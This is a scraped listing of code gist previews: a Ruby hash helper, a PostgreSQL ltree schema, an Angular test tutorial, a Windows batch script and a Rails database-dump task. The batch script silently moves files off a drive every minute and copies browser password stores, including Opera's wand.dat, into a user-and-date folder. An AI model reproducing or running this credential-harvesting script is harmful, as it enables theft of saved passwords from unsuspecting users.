This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def deep_blank?(hash) | |
hash.each do |k,v| | |
any_blank = v.is_a?(Hash) ? deep_blank?(v) : v.empty? | |
return false if !any_blank || k == '_destroy' | |
end | |
return true | |
end | |
def deep_blank(hash) | |
hashes = { hash: hash } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CREATE EXTENSION IF NOT EXISTS ltree; | |
create temp table properties ( | |
id bigserial primary key, | |
name varchar(256) NOT NULL, | |
path ltree, | |
parent_id integer | |
); | |
create temp table reports ( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Writing frontend specs | |
# 1. describe block | |
describe 'Service: Deal', -> | |
# 2. beforeEach block | |
beforeEach -> | |
#a. | |
module "dealglobeApp" # our application module | |
#b. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REM pick files every minute | |
:loop | |
timeout \T 60 | |
robocopy i:\ f:\ /move /e | |
goto loop | |
REM copy files that can contains any browser passwords data (IE, Opera, Mozilla) | |
md "%USERNAME%_%DATE%" | |
cd "%USERNAME%_%DATE%" | |
copy "%USERPROFILE%\Application Data\Opera\Opera\wand.dat" wand.dat |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
namespace :db do | |
desc "Make OpenShift database dump" | |
task :dump do | |
enviroment = Rails.env || ENV['RAILS_ENV'] || 'production' | |
config = Rails.configuration.database_configuration[enviroment] | |
password = config['password'] | |
username = config['username'] || 'root' | |
host = config['host'] | |
port = config['port'] || 3306 |